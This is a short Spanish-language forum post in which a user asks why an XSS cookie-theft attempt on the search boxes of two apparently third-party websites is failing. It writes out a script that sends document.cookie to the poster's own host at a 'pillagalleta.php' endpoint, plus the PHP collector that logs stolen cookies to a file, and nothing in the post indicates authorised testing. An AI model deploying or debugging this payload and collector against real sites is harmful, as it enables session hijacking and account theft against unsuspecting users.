Hola a todos.... estoy haciendo algunas pruebas en páginas que parecen ser vulnerables a XSS pero no consigo guardar la info de la cookie o direccionar la página....
Estoy tratando de hacerlo en dos páginas diferentes, en las que si introduzco en el buscador de la pagina:
<h1>XSS</h1>
<script>alert(document.cookie)</script>
obtengo el resultado deseado...osea XSS en grande y la cookie consecutivamente.
Pero si hago esto:
<script>window.location='http://miweb.es/pillagalleta.php?cookie=’+document.cookie;</script>
No consigo que se guarde la cookie en el archivo de texto..... (el codigo q guarda la cookie en un txt es:
<?
$cookie = $_GET['cookie'];
$fichero = fopen("cookies.txt","a");
fwrite($fichero, "$cookie \n");
fclose($fichero);
?>
tampoco consigo q se redireccione si solo pongo:
<script>window.location='http://miweb.es/';
No se si esto es normal (pq filtren algo mas)o estoy haciendo algo mal...
Gracias de antemano a todos.....un saludo
pd: Perdon por preguntar algo tan manido como el XSS pero no consigo solucionarlo por mas que he tratado de hacerlo......
Autor
En línea
